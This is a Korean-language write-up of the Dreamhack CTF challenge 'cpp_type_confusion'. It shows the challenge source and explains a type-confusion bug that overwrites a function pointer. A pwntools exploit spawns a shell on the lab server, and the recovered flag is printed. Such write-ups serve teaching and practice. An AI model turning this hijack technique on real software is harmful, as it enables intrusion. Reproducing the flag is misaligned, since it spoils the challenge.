dreamhack - cpp_type_confusion writeup
[dreamhack] cpp_type_confusion writeup
1. 문제
cpp_type_confusion
이 문제는 서버에서 작동하고 있는 서비스(cpp_type_confusion)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾아 flag를 획득하세요!.
'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <iostream>
#include <csignal>
#include <unistd.h>
#include <cstdio>
#include <cstring>
#include <cstdlib>
int appleflag = 0;
int mangoflag = 0;
int applemangoflag = 0;
void getshell(){
system("/bin/sh");
}
void print_menu(){
std::cout << "I love Applemango!" << std::endl;
std::cout << "1. Make apple" << std::endl;
std::cout << "2. Make mango" << std::endl;
std::cout << "3. Mix apple, mango" << std::endl;
std::cout << "4. Eat" << std::endl;
std::cout << "5. Exit program" << std::endl;
std::cout << "[*] Select : ";
}
void mangohi(){
std::cout << "Mangoyum" << std::endl;
}
void applehi(){
std::cout << "Appleyum" << std::endl;
}
class Base{
public:
virtual void yum(){
}
};
class Apple : public Base{
public:
virtual void yum(){
std::cout << description << std::endl;
}
Apple(){
strcpy(description, "Appleyum\x00");
appleflag = 1;
};
~Apple(){
appleflag = 0;
}
char description[8];
};
class Mango : public Base{
public:
virtual void yum(){
description();
}
Mango(){
description = mangohi;
mangoflag = 1;
};
~Mango(){
mangoflag = 0;
}
void (*description)(void);
};
int main(){
initialize();
int selector;
std::string applemangoname;
Base *apple;
Base *mango;
Apple* mixer;
while(1){
print_menu();
std::cin >> selector;
switch(selector){
case 1:
apple = new Apple();
std::cout << "Apple Created!" << std::endl;
break;
case 2:
mango = new Mango();
std::cout << "Mango Created!" << std::endl;
break;
case 3:
if(appleflag && mangoflag){
applemangoflag = 1;
mixer = static_cast<Apple*>(mango);
std::cout << "Applemango name: ";
std::cin >> applemangoname;
strncpy(mixer->description, applemangoname.c_str(), 8);
std::cout << "Applemango Created!" << std::endl;
} else if(appleflag == 0 && mangoflag == 0){
std::cout << "You don't have anything!" << std::endl;
} else if(appleflag == 0){
std::cout << "You don't have apple!" << std::endl;
} else if(mangoflag == 0){
std::cout << "You don't have mango!" << std::endl;
}
break;
case 4:
std::cout << "1. Apple\n2. Mango\n3. Applemango\n[*] Select : ";
std::cin >> selector;
if(selector == 1){
if(appleflag){
apple->yum();
}
else{ std::cout << "You don't have apple!" << std::endl; }
} else if (selector == 2){
if(mangoflag){
mango->yum();
}
else{
std::cout << "you don't have mango!" << std::endl;
}
} else if (selector == 3){
if(applemangoflag) {
mixer->yum();
}
else{
std::cout << "you don't have Applemango!" << std::endl;
}
} else {
std::cout << "Wrong Choice!" << std::endl;
}
break;
case 5:
std::cout << "bye!" << std::endl;
return 0;
break;
default:
return 0;
}
}
return 0;
}
apple, mango를 만들고, 두개를 섞어서 applemango를 만들 수 있다.
만든 과일을 먹으면 과일별 구조체에 있는 yum 함수를 실행한다.
yum함수가 과일마다 동작하는 방식이 다른데, apple 구조체는 description에 있는 내용을 출력하고 mango 구조체에서는 description 함수 포인터를 가리켜서 실행한다.
그런데 main함수에서 apple과 mango를 섞을 때 mango구조체를 apple 구조체로 casting하고, mixer의 description에 applemangoname을 입력한다.
사실상 mango 구조체의 yum함수가 실행될 때 어떤 함수가 실행될지를 변경하는 것이므로 만약 우리가 원하는 함수의 주소를 applemangoname으로 주면 yum함수 실행 시 해당 함수가 실행될 것이다.
따라서 exploit의 흐름은 아래와 같다.
- 1.
apple과mango를 각각 하나씩 생성한다. - 2. 두 과일을 섞고,
applemangoname에get_shell함수의 주소를 넣는다. - 3.
applemango를 먹는다!
이를 바탕으로 exploit을 작성하였고, 잘 동작하는 것을 확인했다.
from pwn import *
p = process("./cpp_type_confusion")
p = remote("host3.dreamhack.games", 11176)
elf = ELF("./cpp_type_confusion")
get_shell = elf.symbols["_Z8getshellv"]
p.recvuntil("Select : ")
p.sendline("1")
p.recvuntil("Select : ")
p.sendline("2")
p.recvuntil("Select : ")
p.sendline("3")
p.recvuntil("Applemango name: ")
p.sendline(p64(get_shell))
p.recvuntil("Select : ")
p.sendline("4")
p.recvuntil("Select : ")
p.sendline("3")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/cpp_type_confusion$ python3 e_cpp_type_confusion.py
[+] Starting local process './cpp_type_confusion': pid 2217847
[+] Opening connection to host3.dreamhack.games on port 11176: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/cpp_type_confusion/cpp_type_confusion'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("1")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("2")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("3")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Applemango name: ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("4")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("3")
[*] Switching to interactive mode
$ cat flag
DH{4a969c04516654df9984f8aab2db7309}
해결~